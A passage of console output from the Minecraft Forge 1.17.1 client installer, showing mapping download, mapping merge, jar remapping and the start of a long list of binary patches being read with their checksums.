C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\md-5\SpecialSource\1.10.0\SpecialSource-1.10.0.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\sf\jopt-simple\jopt-simple\5.0.4\jopt-simple-5.0.4.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\code\gson\gson\2.8.7\gson-2.8.7.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\siegmar\fastcsv\2.0.0\fastcsv-2.0.0.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraftforge\srgutils\0.4.3\srgutils-0.4.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-commons\9.1\asm-commons-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\guava\guava\20.0\guava-20.0.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\opencsv\opencsv\4.4\opencsv-4.4.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-analysis\9.1\asm-analysis-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-tree\9.1\asm-tree-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm\9.1\asm-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-text\1.3\commons-text-1.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-lang3\3.8.1\commons-lang3-3.8.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\commons-beanutils\commons-beanutils\1.9.3\commons-beanutils-1.9.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-collections4\4.2\commons-collections4-4.2.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\commons-logging\commons-logging\1.2\commons-logging-1.2.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\commons-collections\commons-collections\3.2.2\commons-collections-3.2.2.jar Args: --task, DOWNLOAD_MOJMAPS, --version, 1.17.1, --side, client, --output, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-mappings.txt Task: DOWNLOAD_MOJMAPS MC Version: 1.17.1 Side: client Output: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-mappings.txt Downloaded Mojang mappings for 1.17.1 =============================================================================== MainClass: net.minecraftforge.installertools.ConsoleTool Classpath: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraftforge\installertools\1.2.7\installertools-1.2.7.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\md-5\SpecialSource\1.10.0\SpecialSource-1.10.0.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\sf\jopt-simple\jopt-simple\5.0.4\jopt-simple-5.0.4.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\code\gson\gson\2.8.7\gson-2.8.7.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\siegmar\fastcsv\2.0.0\fastcsv-2.0.0.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraftforge\srgutils\0.4.3\srgutils-0.4.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-commons\9.1\asm-commons-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\guava\guava\20.0\guava-20.0.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\opencsv\opencsv\4.4\opencsv-4.4.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-analysis\9.1\asm-analysis-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-tree\9.1\asm-tree-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm\9.1\asm-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-text\1.3\commons-text-1.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-lang3\3.8.1\commons-lang3-3.8.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\commons-beanutils\commons-beanutils\1.9.3\commons-beanutils-1.9.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\apache\commons\commons-collections4\4.2\commons-collections4-4.2.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\commons-logging\commons-logging\1.2\commons-logging-1.2.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\commons-collections\commons-collections\3.2.2\commons-collections-3.2.2.jar Args: --task, MERGE_MAPPING, --left, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\oceanlabs\mcp\mcp_config\1.17.1-20210706.113038\mcp_config-1.17.1-20210706.113038-mappings.txt, --right, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-mappings.txt, --output, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\oceanlabs\mcp\mcp_config\1.17.1-20210706.113038\mcp_config-1.17.1-20210706.113038-mappings-merged.txt, --classes, --reverse-right Task: MERGE_MAPPING Left: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\oceanlabs\mcp\mcp_config\1.17.1-20210706.113038\mcp_config-1.17.1-20210706.113038-mappings.txt Reversed=false null Right: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-mappings.txt Reversed=true null Classes: true Fields: false Methods: false Params: false Output: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\oceanlabs\mcp\mcp_config\1.17.1-20210706.113038\mcp_config-1.17.1-20210706.113038-mappings-merged.txt =============================================================================== Cache: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-slim.jar Validated: b8de6b6dc0fc88232d974bdaaf085c56145277b1 C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-extra.jar Validated: 483cfeb6029f2d180f740af4ea7ecb3613182772 Cache Hit! =============================================================================== MainClass: org.cadixdev.vignette.VignetteMain Classpath: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraftforge\lex\vignette\0.2.0.16\vignette-0.2.0.16.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\cadixdev\atlas\0.2.2\atlas-0.2.2.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\cadixdev\lorenz-asm\0.5.7\lorenz-asm-0.5.7.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\cadixdev\lorenz\0.5.7\lorenz-0.5.7.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\sf\jopt-simple\jopt-simple\5.0.4\jopt-simple-5.0.4.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\cadixdev\bombe-asm\0.3.5\bombe-asm-0.3.5.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-commons\9.1\asm-commons-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\jimfs\jimfs\1.2\jimfs-1.2.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\cadixdev\bombe\0.3.5\bombe-0.3.5.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-analysis\9.1\asm-analysis-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm-tree\9.1\asm-tree-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\ow2\asm\asm\9.1\asm-9.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\guava\guava\30.1-android\guava-30.1-android.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\guava\failureaccess\1.0.1\failureaccess-1.0.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\guava\listenablefuture\9999.0-empty-to-avoid-conflict-with-guava\listenablefuture-9999.0-empty-to-avoid-conflict-with-guava.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\code\findbugs\jsr305\3.0.2\jsr305-3.0.2.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\checkerframework\checker-compat-qual\2.5.5\checker-compat-qual-2.5.5.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\errorprone\error_prone_annotations\2.3.4\error_prone_annotations-2.3.4.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\j2objc\j2objc-annotations\1.3\j2objc-annotations-1.3.jar Args: --jar-in, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-slim.jar, --jar-out, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-srg.jar, --mapping-format, tsrg2, --mappings, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\oceanlabs\mcp\mcp_config\1.17.1-20210706.113038\mcp_config-1.17.1-20210706.113038-mappings-merged.txt, --create-inits, --fix-param-annotations, --fernflower-meta Input: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-slim.jar Output: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-srg.jar Format: tsrg2 Mappings: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\de\oceanlabs\mcp\mcp_config\1.17.1-20210706.113038\mcp_config-1.17.1-20210706.113038-mappings-merged.txt Constructors Parameter Annotations Found extra RuntimeVisibleParameterAnnotations entries in <init>(Lnet/minecraft/world/entity/animal/Fox;Ljava/lang/Class;ZZLjava/util/function/Predicate;)V in net/minecraft/world/entity/animal/Fox$DefendTrustedTargetGoal: removing 1 Found extra RuntimeVisibleParameterAnnotations entries in <init>(Lnet/minecraft/server/ServerFunctionManager;Lnet/minecraft/server/ServerFunctionManager$TraceCallbacks;)V in net/minecraft/server/ServerFunctionManager$ExecutionContext: removing 1 Found extra RuntimeVisibleParameterAnnotations entries in <init>(Ljava/lang/String;ILjava/lang/String;CILjava/lang/Integer;)V in net/minecraft/ChatFormatting: removing 2 Found extra RuntimeVisibleParameterAnnotations entries in <init>(Ljava/lang/String;ILjava/lang/String;CZILjava/lang/Integer;)V in net/minecraft/ChatFormatting: removing 2 Found extra RuntimeVisibleParameterAnnotations entries in <init>(Lnet/minecraft/client/renderer/chunk/ChunkRenderDispatcher$RenderChunk;DLnet/minecraft/client/renderer/chunk/RenderChunkRegion;)V in net/minecraft/client/renderer/chunk/ChunkRenderDispatcher$RenderChunk$RebuildTask: removing 1 Found extra RuntimeVisibleParameterAnnotations entries in <init>(Lnet/minecraft/client/renderer/texture/TextureAtlasSprite;Ljava/util/List;ILnet/minecraft/client/renderer/texture/TextureAtlasSprite$InterpolationData;)V in net/minecraft/client/renderer/texture/TextureAtlasSprite$AnimatedTexture: removing 1 Found extra RuntimeVisibleParameterAnnotations entries in <init>(Lnet/minecraft/client/gui/screens/worldselection/EditGameRulesScreen;Ljava/util/List;)V in net/minecraft/client/gui/screens/worldselection/EditGameRulesScreen$RuleEntry: removing 1 Found extra RuntimeVisibleParameterAnnotations entries in <init>(Lnet/minecraft/client/gui/screens/worldselection/EditGameRulesScreen;Ljava/util/List;Lnet/minecraft/network/chat/Component;)V in net/minecraft/client/gui/screens/worldselection/EditGameRulesScreen$GameRuleEntry: removing 1 Processing Complete =============================================================================== MainClass: net.minecraftforge.binarypatcher.ConsoleTool Classpath: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraftforge\binarypatcher\1.0.12\binarypatcher-1.0.12.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\commons-io\commons-io\2.4\commons-io-2.4.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\guava\guava\25.1-jre\guava-25.1-jre.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\sf\jopt-simple\jopt-simple\5.0.4\jopt-simple-5.0.4.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\github\jponge\lzma-java\1.3\lzma-java-1.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\nothome\javaxdelta\2.0.1\javaxdelta-2.0.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\code\findbugs\jsr305\3.0.2\jsr305-3.0.2.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\checkerframework\checker-qual\2.0.0\checker-qual-2.0.0.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\errorprone\error_prone_annotations\2.1.3\error_prone_annotations-2.1.3.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\com\google\j2objc\j2objc-annotations\1.1\j2objc-annotations-1.1.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\org\codehaus\mojo\animal-sniffer-annotations\1.14\animal-sniffer-annotations-1.14.jar C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\trove\trove\1.0.2\trove-1.0.2.jar Args: --clean, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-srg.jar, --output, C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.17.1-37.0.58\forge-1.17.1-37.0.58-client.jar, --apply, C:\Users\USER-PC\AppData\Local\Temp\forge_installer8166668735222705055\data\client.lzma Applying: Clean: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraft\client\1.17.1-20210706.113038\client-1.17.1-20210706.113038-srg.jar Output: C:\Users\USER-PC\AppData\Roaming\.minecraft\libraries\net\minecraftforge\forge\1.17.1-37.0.58\forge-1.17.1-37.0.58-client.jar KeepData: false Unpatched: false Patches: C:\Users\USER-PC\AppData\Local\Temp\forge_installer8166668735222705055\data\client.lzma Loading patches file: C:\Users\USER-PC\AppData\Local\Temp\forge_installer8166668735222705055\data\client.lzma Reading patch com.mojang.blaze3d.pipeline.RenderTarget.binpatch Checksum: 8f3f6c4b Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$BlendState.binpatch Checksum: 6cbbfe90 Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$BooleanState.binpatch Checksum: cb7ab7c3 Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$ColorLogicState.binpatch Checksum: 2780f447 Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$ColorMask.binpatch Checksum: 1f2a9fd5 Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$CullState.binpatch Checksum: 4b92ec43 Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$DepthState.binpatch Checksum: 5a09f3dc Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$DestFactor.binpatch Checksum: bd8087b Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$LogicOp.binpatch Checksum: ca78b1af Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$PolygonOffsetState.binpatch Checksum: d6d40128 Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$ScissorState.binpatch Checksum: 2d7eeaeb Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$SourceFactor.binpatch Checksum: 5a6b1bfb Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$StencilFunc.binpatch Checksum: 655d9abd Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$StencilState.binpatch Checksum: 651c00ac Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$TextureState.binpatch Checksum: 556e9542 Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager$Viewport.binpatch Checksum: 46e3d556 Exists: true Reading patch com.mojang.blaze3d.platform.GlStateManager.binpatch Checksum: 206dab28 Exists: true Reading patch com.mojang.blaze3d.platform.Window$WindowInitFailed.binpatch Checksum: 7e1d9170 Exists: true Reading patch com.mojang.blaze3d.platform.Window.binpatch Checksum: 690694d9 Exists: true Reading patch com.mojang.blaze3d.vertex.BufferBuilder$1.binpatch Checksum: 5fda1e Exists: true Reading patch com.mojang.blaze3d.vertex.BufferBuilder$DrawState.binpatch Checksum: ed3a207e Exists: true Reading patch com.mojang.blaze3d.vertex.BufferBuilder$SortState.binpatch Checksum: 201738a6 Exists: true Reading patch com.mojang.blaze3d.vertex.BufferBuilder.binpatch Checksum: 6efa401b Exists: true Reading patch com.mojang.blaze3d.vertex.VertexConsumer.binpatch Checksum: 920a3efc Exists: true Reading patch com.mojang.blaze3d.vertex.VertexFormat$1.binpatch Checksum: 8e4900e8 Exists: true Reading patch com.mojang.blaze3d.vertex.VertexFormat$IndexType.binpatch Checksum: 864fb259 Exists: true Reading patch com.mojang.blaze3d.vertex.VertexFormat$Mode.binpatch Checksum: 1f7e22f9 Exists: true Reading patch com.mojang.blaze3d.vertex.VertexFormat.binpatch Checksum: 181519e3 Exists: true Reading patch com.mojang.blaze3d.vertex.VertexFormatElement$Type.binpatch Checksum: 8f5a1ee5 Exists: true Reading patch com.mojang.blaze3d.vertex.VertexFormatElement$Usage$ClearState.binpatch Checksum: 46b9819f Exists: true Reading patch com.mojang.blaze3d.vertex.VertexFormatElement$Usage$SetupState.binpatch Checksum: cd3982cd Exists: true Reading patch com.mojang.blaze3d.vertex.VertexFormatElement$Usage.binpatch Checksum: 3abe08a1 Exists: true Reading patch com.mojang.blaze3d.vertex.VertexFormatElement.binpatch Checksum: b7ee9aee Exists: true Reading patch com.mojang.math.Matrix3f.binpatch Checksum: 23afa4ec Exists: true Reading patch com.mojang.math.Matrix4f.binpatch Checksum: 77ad308e Exists: true Reading patch com.mojang.math.Transformation.binpatch Checksum: 6ff206d8 Exists: true Reading patch com.mojang.math.Vector3f.binpatch Checksum: 179df1cf Exists: true Reading patch com.mojang.math.Vector4f.binpatch Checksum: 8ca56d31 Exists: true Reading patch com.mojang.realmsclient.gui.screens.RealmsGenericErrorScreen.binpatch Checksum: 1de1b50e Exists: true Reading patch net.minecraft.CrashReport.binpatch Checksum: 7fa52623 Exists: true Reading patch net.minecraft.CrashReportCategory$Entry.binpatch Checksum: 8affa101 Exists: true Reading patch net.minecraft.CrashReportCategory.binpatch Checksum: 266ad5e2 Exists: true Reading patch net.minecraft.SharedConstants.binpatch Checksum: 15d17650 Exists: true Reading patch net.minecraft.Util$1.binpatch Checksum: aca18af Exists: true Reading patch net.minecraft.Util$2.binpatch Checksum: 0 Exists: false Reading patch net.minecraft.Util$3.binpatch Checksum: ffdfdb49 Exists: true Reading patch net.minecraft.Util$4.binpatch Checksum: 7a779c78 Exists: true Reading patch net.minecraft.Util$5.binpatch Checksum: 1f40648b Exists: true Reading patch net.minecraft.Util$6.binpatch Checksum: 90c75f57 Exists: true Reading patch net.minecraft.Util$7.binpatch Checksum: fb2dd34a Exists: true Reading patch net.minecraft.Util$8.binpatch Checksum: d8acd9b4 Exists: true Reading patch net.minecraft.Util$9.binpatch Checksum: 6f911bed Exists: true Reading patch net.minecraft.Util$IdentityStrategy.binpatch Checksum: c125b0d2 Exists: true Reading patch net.minecraft.Util$OS$1.binpatch Checksum: b356a333 Exists: true Reading patch net.minecraft.Util$OS$2.binpatch Checksum: e00c961e Exists: true Reading patch net.minecraft.Util$OS.binpatch Checksum: 5df440af Exists: true Reading patch net.minecraft.Util.binpatch Checksum: 5303977e Exists: true Reading patch net.minecraft.advancements.Advancement$Builder.binpatch Checksum: 942a3059 Exists: true Reading patch net.minecraft.advancements.Advancement.binpatch Checksum: b7800be0 Exists: true Reading patch net.minecraft.advancements.AdvancementList$Listener.binpatch Checksum: febd6078 Exists: true Reading patch net.minecraft.advancements.AdvancementList.binpatch Checksum: 1265bab1 Exists: true Reading patch net.minecraft.advancements.AdvancementRewards$Builder.binpatch Checksum: c83bdd63 Exists: true Reading patch net.minecraft.advancements.AdvancementRewards.binpatch Checksum: 90b4b0c5 Exists: true Reading patch net.minecraft.advancements.critereon.ItemPredicate$Builder.binpatch Checksum: 13f6d38c Exists: true Reading patch net.minecraft.advancements.critereon.ItemPredicate.binpatch Checksum: abf58349 Exists: true Reading patch net.minecraft.client.Camera$NearPlane.binpatch Checksum: 565f5c60 Exists: true Reading patch net.minecraft.client.Camera.binpatch Checksum: b2f67ded Exists: true Reading patch net.minecraft.client.ClientBrandRetriever.binpatch Checksum: a2f2826a Exists: true Reading patch net.minecraft.client.KeyMapping.binpatch Checksum: ff185f76 Exists: true Reading patch net.minecraft.client.KeyboardHandler$1.binpatch Checksum: 27cdc3b6 Exists: true Reading patch net.minecraft.client.KeyboardHandler.binpatch Checksum: 5af5db71 Exists: true Reading patch net.minecraft.client.Minecraft$1.binpatch Checksum: 870ac6a2 Exists: true Reading patch net.minecraft.client.Minecraft$ChatStatus$1.binpatch Checksum: 7cc9b899 Exists: true Reading patch net.minecraft.client.Minecraft$ChatStatus$2.binpatch Checksum: 8e79b8ab Exists: true Reading patch net.minecraft.client.Minecraft$ChatStatus$3.binpatch Checksum: a772b8d6 Exists: true Reading patch net.minecraft.client.Minecraft$ChatStatus$4.binpatch Checksum: afecb8e0 Exists: true Reading patch net.minecraft.client.Minecraft$ChatStatus.binpatch Checksum: 4fafe55a Exists: true Reading patch net.minecraft.client.Minecraft$ExperimentalDialogType.binpatch Checksum: cf0e6aed Exists: true Reading patch net.minecraft.client.Minecraft$ServerStem.binpatch Checksum: 3e0f8923 Exists: true Reading patch net.minecraft.client.Minecraft.binpatch Checksum: 8e33b54 Exists: true Reading patch net.minecraft.client.MouseHandler.binpatch Checksum: 52bd3e16 Exists: true Reading patch net.minecraft.client.Options$1.binpatch Checksum: d7ef802a Exists: true Reading patch net.minecraft.client.Options$2.binpatch Checksum: 60fbace Exists: true Reading patch net.minecraft.client.Options$3.binpatch Checksum: ce3a3a99 Exists: true Reading patch net.minecraft.client.Options$4.binpatch Checksum: cbb7a8f1 Exists: true Reading patch net.minecraft.client.Options$FieldAccess.binpatch Checksum: 6f483eb4 Exists: true Reading patch net.minecraft.client.Options.binpatch Checksum: 116f951d Exists: true Reading patch net.minecraft.client.Screenshot.binpatch Checksum: b37a803 Exists: true Reading patch net.minecraft.client.ToggleKeyMapping.binpatch Checksum: 73ca44eb Exists: true Reading patch net.minecraft.client.User$Type.binpatch Checksum: ef0a439d Exists: true Reading patch net.minecraft.client.User.binpatch Checksum: 3d7d1eb2 Exists: true Reading patch net.minecraft.client.color.block.BlockColors.binpatch Checksum: 837be8d1 Exists: true Reading patch net.minecraft.client.color.item.ItemColors.binpatch Checksum: 1e96dcb9 Exists: true Reading patch net.minecraft.client.gui.Gui$HeartType.binpatch Checksum: 486191da Exists: true Reading patch net.minecraft.client.gui.Gui.binpatch Checksum: 9cab203a Exists: true Reading patch net.minecraft.client.gui.MapRenderer$MapInstance.binpatch Checksum: 10a752a9 Exists: true Reading patch net.minecraft.client.gui.MapRenderer.binpatch Checksum: c88c0d08 Exists: true Reading patch net.minecraft.client.gui.components.AbstractSelectionList$Entry.binpatch Checksum: ed26be71 Exists: true Reading patch net.minecraft.client.gui.components.AbstractSelectionList$SelectionDirection.binpatch Checksum: af469f93 Exists: true Reading patch net.minecraft.client.gui.components.AbstractSelectionList$TrackedList.binpatch Checksum: 49f69fff Exists: true Reading patch net.minecraft.client.gui.components.AbstractSelectionList.binpatch Checksum: 2ab5db75 Exists: true Reading patch net.minecraft.client.gui.components.AbstractWidget.binpatch Checksum: e8c233c7 Exists: true Reading patch net.minecraft.client.gui.components.BossHealthOverlay$1.binpatch Checksum: 65efbef6 Exists: true Reading patch net.minecraft.client.gui.components.BossHealthOverlay.binpatch Checksum: ad260478 Exists: true Reading patch net.minecraft.client.gui.components.DebugScreenOverlay$1.binpatch Checksum: 5909c1c5 Exists: true Reading patch net.minecraft.client.gui.components.DebugScreenOverlay.binpatch Checksum: 4c931f3e Exists: true Reading patch net.minecraft.client.gui.screens.DeathScreen.binpatch Checksum: deeafafc Exists: true Reading patch net.minecraft.client.gui.screens.LanguageSelectScreen$LanguageSelectionList$Entry.binpatch Checksum: f823a775 Exists: true Reading patch net.minecraft.client.gui.screens.LanguageSelectScreen$LanguageSelectionList.binpatch Checksum: 467a46cc Exists: true Reading patch net.minecraft.client.gui.screens.LanguageSelectScreen.binpatch Checksum: a3ee977a Exists: true Reading patch net.minecraft.client.gui.screens.LoadingOverlay$LogoTexture.binpatch Checksum: 69233ce4 Exists: true Reading patch net.minecraft.client.gui.screens.LoadingOverlay.binpatch Checksum: 3196d576 Exists: true Reading patch net.minecraft.client.gui.screens.MenuScreens$ScreenConstructor.binpatch Checksum: 9bbe50e1 Exists: true Reading patch net.minecraft.client.gui.screens.MenuScreens.binpatch Checksum: 78926b5e Exists: true Reading patch net.minecraft.client.gui.screens.OptionsScreen.binpatch Checksum: d361303c Exists: true Reading patch net.minecraft.client.gui.screens.Screen$NarratableSearchResult.binpatch Checksum: 92be4176 Exists: true Reading patch net.minecraft.client.gui.screens.Screen.binpatch Checksum: 298a30b3 Exists: true Reading patch net.minecraft.client.gui.screens.TitleScreen$1.binpatch Checksum: ee4bd107 Exists: true Reading patch net.minecraft.client.gui.screens.TitleScreen.binpatch Checksum: e7e89b78 Exists: true Reading patch net.minecraft.client.gui.screens.advancements.AdvancementTab.binpatch Checksum: 21ff095a Exists: true Reading patch net.minecraft.client.gui.screens.advancements.AdvancementTabType$1.binpatch Checksum: 514cd7ea Exists: true Reading patch net.minecraft.client.gui.screens.advancements.AdvancementTabType.binpatch Checksum: 6876f30e Exists: true Reading patch net.minecraft.client.gui.screens.advancements.AdvancementsScreen.binpatch Checksum: 65d93c22 Exists: true Reading patch net.minecraft.client.gui.screens.controls.ControlList$CategoryEntry$1.binpatch Checksum: a28f4d51 Exists: true Reading patch net.minecraft.client.gui.screens.controls.ControlList$CategoryEntry.binpatch Checksum: 548c5b65 Exists: true Reading patch net.minecraft.client.gui.screens.controls.ControlList$Entry.binpatch Checksum: f4cfea14 Exists: true Reading patch net.minecraft.client.gui.screens.controls.ControlList$KeyEntry$1.binpatch Checksum: c9e0cb9f Exists: true Reading patch net.minecraft.client.gui.screens.controls.ControlList$KeyEntry$2.binpatch Checksum: 7c356fe5 Exists: true Reading patch net.minecraft.client.gui.screens.controls.ControlList$KeyEntry.binpatch Checksum: d82121eb Exists: true Reading patch net.minecraft.client.gui.screens.controls.ControlList.binpatch Checksum: 9916048a Exists: true Reading patch net.minecraft.client.gui.screens.controls.ControlsScreen.binpatch Checksum: 9eca5d79 Exists: true Reading patch net.minecraft.client.gui.screens.inventory.AbstractContainerScreen.binpatch Checksum: 791371d4 Exists: true Reading patch net.minecraft.client.gui.screens.inventory.CreativeModeInventoryScreen$CustomCreativeSlot.binpatch Checksum: acf66ba4 Exists: true Reading patch net.minecraft.client.gui.screens.inventory.CreativeModeInventoryScreen$ItemPickerMenu.binpatch Checksum: d3f9a1ed Exists: true Reading patch net.minecraft.client.gui.screens.inventory.CreativeModeInventoryScreen$SlotWrapper.binpatch Checksum: 1cbfb097 Exists: true Reading patch net.minecraft.client.gui.screens.inventory.CreativeModeInventoryScreen.binpatch Checksum: b112e9b9 Exists: true Reading patch net.minecraft.client.gui.screens.inventory.EffectRenderingInventoryScreen.binpatch Checksum: 620c6a40 Exists: true Reading patch net.minecraft.client.gui.screens.inventory.EnchantmentScreen.binpatch Checksum: 11bff49e Exists: true Reading patch net.minecraft.client.gui.screens.multiplayer.JoinMultiplayerScreen.binpatch Checksum: 7003d498 Exists: true Reading patch net.minecraft.client.gui.screens.multiplayer.ServerSelectionList$Entry.binpatch Checksum: 8727f112 Exists: true Reading patch net.minecraft.client.gui.screens.multiplayer.ServerSelectionList$LANHeader.binpatch Checksum: fc0ce2a9 Exists: true Reading patch net.minecraft.client.gui.screens.multiplayer.ServerSelectionList$NetworkServerEntry.binpatch Checksum: 7703a9ba Exists: true Reading patch net.minecraft.client.gui.screens.multiplayer.ServerSelectionList$OnlineServerEntry.binpatch Checksum: e60e9136 Exists: true Reading patch net.minecraft.client.gui.screens.multiplayer.ServerSelectionList.binpatch Checksum: 983dd759 Exists: true Reading patch net.minecraft.client.gui.screens.packs.PackSelectionModel$Entry.binpatch Checksum: 1bb75b06 Exists: true Reading patch net.minecraft.client.gui.screens.packs.PackSelectionModel$EntryBase.binpatch Checksum: ebffd8bb Exists: true Reading patch net.minecraft.client.gui.screens.packs.PackSelectionModel$SelectedPackEntry.binpatch Checksum: 1b746ca5 Exists: true Reading patch net.minecraft.client.gui.screens.packs.PackSelectionModel$UnselectedPackEntry.binpatch Checksum: c211712d Exists: true Reading patch net.minecraft.client.gui.screens.packs.PackSelectionModel.binpatch Checksum: 60579288 Exists: true Reading patch net.minecraft.client.gui.screens.packs.PackSelectionScreen$1.binpatch Checksum: f7532412 Exists: true Reading patch net.minecraft.client.gui.screens.packs.PackSelectionScreen$Watcher.binpatch Checksum: f32d5ef3 Exists: true Reading patch net.minecraft.client.gui.screens.packs.PackSelectionScreen.binpatch Checksum: 74d0f112 Exists: true Reading patch 